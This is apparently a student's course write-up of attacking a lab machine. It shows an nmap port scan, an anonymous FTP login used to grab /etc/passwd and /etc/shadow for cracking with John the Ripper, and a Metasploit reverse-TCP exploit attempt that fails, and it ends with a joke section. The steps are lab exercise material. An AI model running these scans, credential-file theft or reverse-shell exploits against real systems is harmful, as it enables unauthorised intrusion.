Henry Post

ITMS 443

Exploiting a target

Contents

[Notes 2](#_Toc528064831)

[Reconnaissance 3](#_Toc528064832)

[Exploits 4](#_Toc528064833)

[Unsecured FTP server 4](#_Toc528064834)

[ccproxy-ftp buffer overflow 4](#_Toc528064835)

[Poop exploit 4](#_Toc528064836)

# Notes

If you look at my previous assignments, you’ll notice I always include all the commands in a folder called `scripts`.

The same thing applies here.

# Reconnaissance

I did some minor reconnaissance before beginning any exploits, as all I knew about my target was its IP address.

I used `nmap` to scan all 65535 ports on the target machine, and then picked some cool-looking ones.

Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-22 16:33 EDT

Nmap scan report for 172.43.0.154

Host is up (0.00049s latency).

Not shown: 65505 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

3632/tcp open distccd

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

6697/tcp open ircs-u

8009/tcp open ajp13

8180/tcp open unknown

8787/tcp open msgsrvr

33686/tcp open unknown

41710/tcp open unknown

48661/tcp open unknown

58745/tcp open unknown  
  
MAC Address: 00:50:56:9A:AE:15 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 3.83 seconds

# Exploits

## Unsecured FTP server

I chose the `ftp` service running on port `21` first, by virtue of curiosity and the fact that it was first.

I then connected to it using `ftp <HOST>`, and to my surprise, it worked!

I then made a perl script that downloads `/etc/passwd/` and `/etc/shadow` into the `./out/` folder, and then unshadows and cracks those files using John the Ripper.

## ccproxy-ftp [buffer overflow](https://www.cvedetails.com/cve/cve-2004-2416)

In the same vein (ftp) of services, I saw ccproxy-ftp running, and decided to go on Google to see if there were any exploits available.

Luckily for me, there was a [metasploit module](https://www.rapid7.com/db/modules/exploit/windows/proxy/ccproxy_telnet_ping) available that I could take advantage of.

There is an [asciinema screen recording](https://asciinema.org/a/ZbT6n6VNbfQ9JpNzR2BTDXPUK?t=25s).

msf > use exploit/windows/proxy/ccproxy\_telnet\_ping  
msf exploit(**windows/proxy/ccproxy\_telnet\_ping**) > set RHOST 172.43.0.154  
RHOST => 172.43.0.154   
msf exploit(**windows/proxy/ccproxy\_telnet\_ping**) > exploit **[\*]** Started reverse TCP handler on 172.43.35.101:4444  
**[\*]** Exploit completed, but no session was created.

## Poop exploit

Make dem poop by giving them chocolates